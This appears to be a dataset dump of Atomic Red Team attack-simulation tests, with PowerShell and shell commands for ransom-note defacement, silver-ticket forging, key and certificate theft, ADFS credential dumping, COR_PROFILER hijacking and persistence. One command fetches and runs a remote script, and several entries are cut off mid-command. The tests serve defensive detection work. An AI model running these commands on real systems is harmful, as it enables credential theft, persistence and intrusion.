deardaniel/secdata-raw huggingface dataset:
Atomic Red Team — T1491.001: Defacement: Internal Defacement
Test: Configure LegalNoticeCaption and LegalNoticeText registry keys to display ransom message
Platforms: windows
Executor: powershell

Description:
Display ransom message to users at system start-up by configuring registry keys HKLM\SOFTWARE\Micosoft\Windows\CurrentVersion\Policies\System\LegalNoticeCaption and HKLM\SOFTWARE\Micosoft\Windows\CurrentVersion\Policies\System\LegalNoticeText.

[SynAck Ransomware](https://www.trendmicro.com/vinfo/es/security/news/cybercrime-and-digital-threats/synack-ransomware-leverages-process-doppelg-nging-for-evasion-and-infection), 
[Grief Ransomware](https://redcanary.com/blog/grief-ransomware/), 
[Maze Ransomware](https://cyware.com/research-and-analysis/maze-ransomware-a-deadly-combination-of-data-theft-and-encryption-to-target-us-organizations-8f27),
[Pysa Ransomware](https://www.cybereason.com/blog/research/threat-analysis-report-inside-the-destructive-pysa-ransomware),
[Spook Ransomware](https://community.fortinet.com/t5/FortiEDR/Threat-Coverage-How-FortiEDR-protects-against-Spook-Ransomware/ta-p/204226),
[DopplePaymer Ransomware](https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Ransom:Win32/Dopplepaymer&threatId=[PII_REDACTED]),
[Reedemer Ransomware](https://blog.cyble.com/2022/07/20/redeemer-ransomware-back-action/),
[Kangaroo Ransomware](https://www.bleepingcomputer.com/news/security/the-kangaroo-ransomware-not-only-encrypts-your-data-but-tries-to-lock-you-out-of-windows/)


Command:
$orgLegalNoticeCaption = (Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -Name LegalNoticeCaption).LegalNoticeCaption
$orgLegalNoticeText = (Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -Name LegalNoticeText).LegalNoticeText
$newLegalNoticeCaption = "#{legal_notice_caption}"
$newLegalNoticeText = "#{legal_notice_text}"
Set-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -Name LegalNoticeCaption -Value $newLegalNoticeCaption -Type String -Force
Set-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -Name LegalNoticeText -Value $newLegalNoticeText -Type String -Force      

Cleanup:
Set-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -Name LegalNoticeCaption -Value $orgLegalNoticeCaption -Type String -Force
Set-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -Name LegalNoticeText -Value $orgLegalNoticeText -Type String -
Atomic Red Team — T1491.001: Defacement: Internal Defacement
Test: ESXi - Change Welcome Message on Direct Console User Interface (DCUI)
Platforms: windows
Executor: command_prompt

Description:
Changes the ESXi welcome message to potentially display ransom information.
[Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/esxcli/#change%20display%20information)


Command:
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "esxcli system welcomemsg set -m 'RANSOMWARE-NOTIFICATION'"


Dependencies:
Check if we have plink
Atomic Red Team — T1491.001: Defacement: Internal Defacement
Test: Windows - Display a simulated ransom note via Notepad (non-destructive)
Platforms: windows
Executor: powershell

Description:
Creates a temporary ransom-note text file and opens it in Notepad to
simulate ransomware "note display" behavior without making destructive
changes. SAFE and non-destructive.


Command:
$notePath = Join-Path $env:TEMP "#{note_filename}"
$pidPath  = Join-Path $env:TEMP "#{pid_filename}"

$Title = "#{note_title}"
$Body  = "#{note_body}"

$header  = $Title + "`r`n" + ('=' * $Title.Length) + "`r`n`r`n"
$content = $header + $Body

[System.IO.File]::WriteAllText($notePath, $content, [System.Text.Encoding]::UTF8)

$p = Start-Process notepad.exe -ArgumentList "`"$notePath`"" -PassThru
$p.Id | Out-File -FilePath $pidPath -Encoding ascii -Force


Cleanup:
try {
  # 1. Kill all Notepad processes
  Get-Process notepad -ErrorAction SilentlyContinue |
    ForEach-Object {
      Stop-Process -Id $_.Id -Force -ErrorAction SilentlyContinue
    }

  # 2. Wait briefly for Windows to release file handles
  Start-Sleep -Seconds 1

  # 3. Force delete ransom not

Dependencies:
Notepad must be present on the system
Atomic Red Team — T1558.002: Steal or Forge Kerberos Tickets: Silver Ticket
Test: Crafting Active Directory silver tickets with mimikatz
Platforms: windows
Executor: powershell

Description:
Once the hash of service account is retrieved it is possible to forge Kerberos ticket granting service (TGS) tickets, also known as silver tickets.
The generated ticket is injected in a new empty Windows session and discarded after, so it does not pollute the current Windows session.


Command:
Remove-Item $env:TEMP\silver.bat -ErrorAction Ignore
Remove-Item $env:TEMP\silver.txt -ErrorAction Ignore

# get current domain SID if default was used
$domain_sid = "#{domain_sid}"
If ($domain_sid -Match "DEFAULT") {
  # code from https://www.sevecek.com/EnglishPages/Lists/Posts/Post.aspx?ID=60
  $domain = gwmi Win32_ComputerSystem | Select -Expand Domain
  $krbtgtSID = (New-Object Security.Principal.NTAccount $domain\krbtgt).Translate([Security.Principal.SecurityIdentifier]).Value
  $domain_sid = $krbtgtSID.SubString(0, $krbtgtSID.LastIndexOf('-'))
}

# create batch file with commands to run in a separate "runas /netonly" session
# so we don't purge Kerberos ticket from the current Windows session
# its output goes to silver.txt temp file, because we cannot capture "runas /netonly" outpu

Dependencies:
Mimikatz executor must exist on disk and at specified location (#{mimikatz_path})
# T1546.014 - Event Triggered Execution: Emond

## Description from ATT&CK

> Adversaries may gain persistence and elevate privileges by executing malicious content triggered by the Event Monitor Daemon (emond). Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at <code>/sbin/emond</code> will load any rules from the <code>/etc/emond.d/rules/</code> directory and take action once an explicitly defined event takes place.
> 
> The rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path <code>/private/var/db/emondClients</code>, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) configuration file at<code>/System/Library/LaunchDaemons/com.apple.emond.plist</code>.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)
> 
> Adversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) service.

[Source](https://attack.mitre.org/techniques/T1546/014)

## Atomic Tests

- [Atomic Test #1: Persistance with Event Monitor - emond](#atomic-test-1-persistance-with-event-monitor---emond)

### Atomic Test #1: Persistance with Event Monitor - emond

Establish persistence via a rule run by OSX's emond (Event Monitor) daemon at startup, based on https://posts.specterops.io/leveraging-emond-on-macos-for-persistence-a040a2785124

**Supported Platforms:** macOS

**auto_generated_guid:** `23c9c127-322b-4c75-95ca-eff464906114`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| plist | Path to attacker emond plist file | path | PathToAtomicsFolder/T1546.014/src/T1546.014_emond.plist|

#### Attack Commands: Run with `sh`! Elevation Required (e.g. root or admin)

```sh
sudo cp "#{plist}" /etc/emond.d/rules/T1546.014_emond.plist
sudo touch /private/var/db/emondClients/T1546.014
```

#### Cleanup Commands

```sh
sudo rm /etc/emond.d/rules/T1546.014_emond.plist
sudo rm /private/var/db/emondClients/T1546.014
```
Atomic Red Team — T1546.014: Event Triggered Execution: Emond
Test: Persistance with Event Monitor - emond
Platforms: macos
Executor: sh

Description:
Establish persistence via a rule run by OSX's emond (Event Monitor) daemon at startup, based on https://posts.specterops.io/leveraging-emond-on-macos-for-persistence-a040a2785124


Command:
sudo cp "#{plist}" /etc/emond.d/rules/T1546.014_emond.plist
sudo touch /private/var/db/emondClients/T1546.014


Cleanup:
sudo rm /etc/emond.d/rules/T1546.014_emond.plist
sudo rm /private/var/db/emondClients/T1546.014
Atomic Red Team — T1021.006: Remote Services: Windows Remote Management
Test: Enable Windows Remote Management
Platforms: windows
Executor: powershell

Description:
Powershell Enable WinRM

Upon successful execution, powershell will "Enable-PSRemoting" allowing for remote PS access.


Command:
Enable-PSRemoting -Force
Atomic Red Team — T1021.006: Remote Services: Windows Remote Management
Test: Remote Code Execution with PS Credentials Using Invoke-Command
Platforms: windows
Executor: powershell

Description:
Simulate lateral movement with PowerShell Remoting on the local host. 
Upon successful execution, PowerShell will execute `whoami` using `Invoke-Command`, targeting the 
local machine as remote target.


Command:
Enable-PSRemoting -Force
Invoke-Command -ComputerName $env:COMPUTERNAME -ScriptBlock {whoami}

Cleanup:
Disable-PSRemoting -Force
Atomic Red Team — T1021.006: Remote Services: Windows Remote Management
Test: WinRM Access with Evil-WinRM
Platforms: windows
Executor: powershell

Description:
An adversary may attempt to use Evil-WinRM with a valid account to interact with remote systems that have WinRM enabled

Command:
evil-winrm -i #{destination_address} -u #{user_name} -p #{password}

Dependencies:
Computer must have Ruby Installed
Computer must have Evil-WinRM installed
Atomic Red Team — T1552.004: Unsecured Credentials: Private Keys
Test: Private Keys
Platforms: windows
Executor: command_prompt

Description:
Find private keys on the Windows file system.
File extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, pfx, .cer, .p7b, .asc


Command:
dir c:\ /b /s .key | findstr /e .key
Atomic Red Team — T1552.004: Unsecured Credentials: Private Keys
Test: Discover Private SSH Keys
Platforms: linux, macos
Executor: sh

Description:
Discover private SSH keys on a FreeBSD, macOS or Linux system.


Command:
find #{search_path} -name id_rsa 2>/dev/null >> #{output_file}
exit 0


Cleanup:
rm #{output_file}
Atomic Red Team — T1552.004: Unsecured Credentials: Private Keys
Test: Copy Private SSH Keys with CP
Platforms: linux
Executor: sh

Description:
Copy private SSH keys on a Linux system to a staging folder using the `cp` command.


Command:
mkdir #{output_folder}
find #{search_path} -name id_rsa 2>/dev/null -exec cp --parents {} #{output_folder} \;
exit 0


Cleanup:
rm -rf #{output_folder}
Atomic Red Team — T1552.004: Unsecured Credentials: Private Keys
Test: Copy Private SSH Keys with CP (freebsd)
Platforms: linux
Executor: sh

Description:
Copy private SSH keys on a FreeBSD system to a staging folder using the `cp` command.


Command:
mkdir #{output_folder}
find #{search_path} -name id_rsa 2>/dev/null -exec gcp --parents {} #{output_folder} \;


Cleanup:
rm -rf #{output_folder}


Dependencies:
Install GNU cp from coreutils package.
Atomic Red Team — T1552.004: Unsecured Credentials: Private Keys
Test: Copy Private SSH Keys with rsync
Platforms: macos, linux
Executor: sh

Description:
Copy private SSH keys on a Linux or macOS system to a staging folder using the `rsync` command.


Command:
mkdir #{output_folder}
find #{search_path} -name id_rsa 2>/dev/null -exec rsync -R {} #{output_folder} \;
exit 0


Cleanup:
rm -rf #{output_folder}
Atomic Red Team — T1552.004: Unsecured Credentials: Private Keys
Test: Copy Private SSH Keys with rsync (freebsd)
Platforms: linux
Executor: sh

Description:
Copy private SSH keys on a FreeBSD system to a staging folder using the `rsync` command.


Command:
mkdir #{output_folder}
find #{search_path} -name id_rsa 2>/dev/null -exec rsync -R {} #{output_folder} \;


Cleanup:
rm -rf #{output_folder}


Dependencies:
Check if rsync is installed.
Atomic Red Team — T1552.004: Unsecured Credentials: Private Keys
Test: Copy the users GnuPG directory with rsync
Platforms: macos, linux
Executor: sh

Description:
Copy the users GnuPG (.gnupg) directory on a Mac or Linux system to a staging folder using the `rsync` command.


Command:
mkdir #{output_folder}
find #{search_path} -type d -name '.gnupg' 2>/dev/null -exec rsync -Rr {} #{output_folder} \;
exit 0


Cleanup:
rm -rf #{output_folder}
Atomic Red Team — T1552.004: Unsecured Credentials: Private Keys
Test: Copy the users GnuPG directory with rsync (freebsd)
Platforms: linux
Executor: sh

Description:
Copy the users GnuPG (.gnupg) directory on a FreeBSD system to a staging folder using the `rsync` command.


Command:
mkdir #{output_folder}
find #{search_path} -type d -name '.gnupg' 2>/dev/null -exec rsync -Rr {} #{output_folder} \;


Cleanup:
rm -rf #{output_folder}


Dependencies:
Check if rsync is installed.
Atomic Red Team — T1552.004: Unsecured Credentials: Private Keys
Test: ADFS token signing and encryption certificates theft - Local
Platforms: windows
Executor: powershell

Description:
Retrieve ADFS token signing and encrypting certificates. This is a precursor to the Golden SAML attack (T1606.002). You must be signed in as Administrator on an ADFS server.
Based on https://o365blog.com/post/adfs/ and https://github.com/fireeye/ADFSDump.


Command:
Import-Module AADInternals -Force
Export-AADIntADFSCertificates
Get-ChildItem | Where-Object {$_ -like "ADFS*"}
Write-Host "`nCertificates retrieved successfully"


Cleanup:
Remove-Item -Path ".\ADFS_encryption.pfx" -ErrorAction Ignore
Remove-Item -Path ".\ADFS_signing.pfx" -ErrorAction Ignore


Dependencies:
AADInternals module must be installed.
Atomic Red Team — T1552.004: Unsecured Credentials: Private Keys
Test: ADFS token signing and encryption certificates theft - Remote
Platforms: windows
Executor: powershell

Description:
Retrieve ADFS token signing and encrypting certificates. This is a precursor to the Golden SAML attack (T1606.002). You must be signed in as a Domain Administrators user on a domain-joined computer.
Based on https://o365blog.com/post/adfs/ and https://github.com/fireeye/ADFSDump.


Command:
Import-Module ActiveDirectory -Force 
Import-Module AADInternals -Force | Out-Null
#Get Configuration
$dcServerName = (Get-ADDomainController).HostName
$svc = Get-ADObject -filter * -Properties objectguid,objectsid | Where-Object name -eq "#{adfs_service_account_name}"
$PWord = ConvertTo-SecureString -String "#{replication_password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList #{replication_user}, $PWord
# use DCSync to fetch the ADFS service account's NT hash
$hash = Get-AADIntADUserNTHash -ObjectGuid $svc.ObjectGuid -Credentials $Credential -Server $dcServerName -AsHex
$ADFSConfig = Export-AADIntADFSConfiguration -Hash $hash -SID $svc.Objectsid.Value -Server #{adfs_server_name}
# Get certificates decryption key
$Configura

Cleanup:
Remove-Item -Path ".\ADFS_encryption.pfx" -ErrorAction Ignore
Remove-Item -Path ".\ADFS_signing.pfx" -ErrorAction Ignore


Dependencies:
AADInternals and ActiveDirectory modules must be installed.
Atomic Red Team — T1552.004: Unsecured Credentials: Private Keys
Test: CertUtil ExportPFX
Platforms: windows
Executor: powershell

Description:
The following Atomic test simulates adding a generic non-malicious certificate to the Root certificate store. This behavior generates a registry modification that adds the cloned root CA certificate in the keys outlined in the blog. In addition, this Atomic utilizes CertUtil to export the PFX (ExportPFX), similar to what was seen in the Golden SAML attack.
Keys will look like - \SystemCertificates\CA\Certificates or \SystemCertificates\Root\Certificates
Reference: https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec
Reference: https://www.splunk.com/en_us/blog/security/a-golden-saml-journey-solarwinds-continued.html


Command:
IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1553.004/src/RemoteCertTrust.ps1' -UseBasicParsing) 
certutil.exe -p #{password} -exportPFX Root 1F3D38F280635F275BE92B87CF83E40E40458400 #{output}


Cleanup:
Get-ChildItem -Path Cert:\ -Recurse | Where-Object { $_.Thumbprint -eq '1F3D38F280635F275BE92B87CF83E40E40458400' } | remove-item
Atomic Red Team — T1552.004: Unsecured Credentials: Private Keys
Test: Export Root Certificate with Export-PFXCertificate
Platforms: windows
Executor: powershell

Description:
Creates a Root certificate and exports it with Export-PFXCertificate PowerShell Cmdlet.
Upon a successful attempt, this will write a pfx to disk and utilize the Cmdlet Export-PFXCertificate.


Command:
$my[CREDENTIAL_REDACTED]-SecureString -String "AtomicRedTeam" -Force -AsPlainText
$cert = New-SelfSignedCertificate -DnsName atomicredteam.com -CertStoreLocation cert:\LocalMachine\My
Set-Location Cert:\LocalMachine\My
Get-ChildItem -Path $cert.Thumbprint | Export-PfxCertificate -FilePath #{pfx_path} -Password $mypwd


Cleanup:
try {
$cert = Import-Certificate -FilePath #{pfx_path} -CertStoreLocation Cert:\LocalMachine\My
Get-ChildItem Cert:\LocalMachine\My\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore
Get-ChildItem Cert:\LocalMachine\Root\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -E
Atomic Red Team — T1552.004: Unsecured Credentials: Private Keys
Test: Export Root Certificate with Export-Certificate
Platforms: windows
Executor: powershell

Description:
Creates a Root certificate and exports it with Export-Certificate PowerShell Cmdlet.
Upon a successful attempt, this will write a pfx to disk and utilize the Cmdlet Export-Certificate.


Command:
$cert = New-SelfSignedCertificate -DnsName atomicredteam.com -CertStoreLocation cert:\LocalMachine\My
Set-Location Cert:\LocalMachine\My
Export-Certificate -Type CERT -Cert  Cert:\LocalMachine\My\$($cert.Thumbprint) -FilePath #{pfx_path}


Cleanup:
try {
   $cert = Import-Certificate -FilePath #{pfx_path} -CertStoreLocation Cert:\LocalMachine\My -ErrorAction Ignore
   Get-ChildItem Cert:\LocalMachine\My\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore
   Get-ChildItem Cert:\LocalMachine\Root\$($cert.Thumbprint) -ErrorA
Atomic Red Team — T1552.004: Unsecured Credentials: Private Keys
Test: Export Certificates with Mimikatz
Platforms: windows
Executor: command_prompt

Description:
The following Atomic test will utilize Mimikatz to extract the certificates from the local system My store. This tool is available at https://github.com/gentilkiwi/mimikatz and can be obtained using the get-prereq_commands.
A successful attempt will stdout the certificates and write multiple .pfx and .der files to disk.


Command:
"#{mimikatz_exe}" "crypto::certificates /systemstore:local_machine /store:my /export"  exit


Dependencies:
Mimikatz must exist on disk at specified location (#{mimikatz_exe})
Atomic Red Team — T1574.012: Hijack Execution Flow: COR_PROFILER
Test: User scope COR_PROFILER
Platforms: windows
Executor: powershell

Description:
Creates user scope environment variables and CLSID COM object to enable a .NET profiler (COR_PROFILER).
The unmanaged profiler DLL (`T1574.012x64.dll`) executes when the CLR is loaded by the Event Viewer process.
Additionally, the profiling DLL will inherit the integrity level of Event Viewer bypassing UAC and executing `notepad.exe` with high integrity.
If the account used is not a local administrator the profiler DLL will still execute each time the CLR is loaded by a process, however,
the notepad process will not execute with high integrity.

Reference: https://redcanary.com/blog/cor_profiler-for-persistence/


Command:
Write-Host "Creating registry keys in HKCU:Software\Classes\CLSID\#{clsid_guid}" -ForegroundColor Cyan
New-Item -Path "HKCU:\Software\Classes\CLSID\#{clsid_guid}\InprocServer32" -Value "#{file_name}" -Force | Out-Null
New-ItemProperty -Path HKCU:\Environment -Name "COR_ENABLE_PROFILING" -PropertyType String -Value "1" -Force | Out-Null
New-ItemProperty -Path HKCU:\Environment -Name "COR_PROFILER" -PropertyType String -Value "#{clsid_guid}" -Force | Out-Null
New-ItemProperty -Path HKCU:\Environment -Name "COR_PROFILER_PATH" -PropertyType String -Value "#{file_name}" -Force | Out-Null
Write-Host "executing eventvwr.msc" -ForegroundColor Cyan
START MMC.EXE EVENTVWR.MSC


Cleanup:
Remove-Item -Path "HKCU:\Software\Classes\CLSID\#{clsid_guid}" -Recurse -Force -ErrorAction Ignore 
Remove-ItemProperty -Path HKCU:\Environment -Name "COR_ENABLE_PROFILING" -Force -ErrorAction Ignore | Out-Null
Remove-ItemProperty -Path HKCU:\Environment -Name "COR_PROFILER" -Force -ErrorAction Igno

Dependencies:
"#{file_name}" must be present
Atomic Red Team — T1574.012: Hijack Execution Flow: COR_PROFILER
Test: System Scope COR_PROFILER
Platforms: windows
Executor: powershell

Description:
Creates system scope environment variables to enable a .NET profiler (COR_PROFILER). System scope environment variables require a restart to take effect.
The unmanaged profiler DLL (T1574.012x64.dll`) executes when the CLR is loaded by any process. Additionally, the profiling DLL will inherit the integrity
level of Event Viewer bypassing UAC and executing `notepad.exe` with high integrity. If the account used is not a local administrator the profiler DLL will
still execute each time the CLR is loaded by a process, however, the notepad process will not execute with high integrity.

Reference: https://redcanary.com/blog/cor_profiler-for-persistence/


Command:
Write-Host "Creating system environment variables" -ForegroundColor Cyan
New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name "COR_ENABLE_PROFILING" -PropertyType String -Value "1" -Force | Out-Null
New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name "COR_PROFILER" -PropertyType String -Value "#{clsid_guid}" -Force | Out-Null
New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name "COR_PROFILER_PATH" -PropertyType String -Value "#{file_name}" -Force | Out-Null


Cleanup:
Remove-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name "COR_ENABLE_PROFILING" -Force -ErrorAction Ignore | Out-Null
Remove-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name "COR_PROFILER" -Force -ErrorAction Ig

Dependencies:
"#{file_name}" must be present
Atomic Red Team — T1574.012: Hijack Execution Flow: COR_PROFILER
Test: Registry-free process scope COR_PROFILER
Platforms: windows
Executor: powershell

Description:
Creates process scope environment variables to enable a .NET profiler (COR_PROFILER) without making changes to the registry. The unmanaged profiler DLL (`T1574.012x64.dll`) executes when the CLR is loaded by PowerShell.

Reference: https://redcanary.com/blog/cor_profiler-for-persistence/


Command:
$env:COR_ENABLE_PROFILING = 1
$env:COR_PROFILER = '#{clsid_guid}'
$env:COR_PROFILER_PATH = '"#{file_name}"'
POWERSHELL -c 'Start-Sleep 1'


Cleanup:
$env:COR_ENABLE_PROFILING = 0
$env:COR_PROFILER = ''
$env:COR_PROFILER_PATH = ''


Dependencies:
"#{file_name}" must be present
Atomic Red Team — T1053.002: Scheduled Task/Job: At
Test: At.exe Scheduled task
Platforms: windows
Executor: command_prompt

Description:
Executes cmd.exe
Note: deprecated in Windows 8+

Upon successful execution, cmd.exe will spawn at.exe and create a scheduled task that will spawn cmd at a specific time.


Command:
at 13:20 /interactive cmd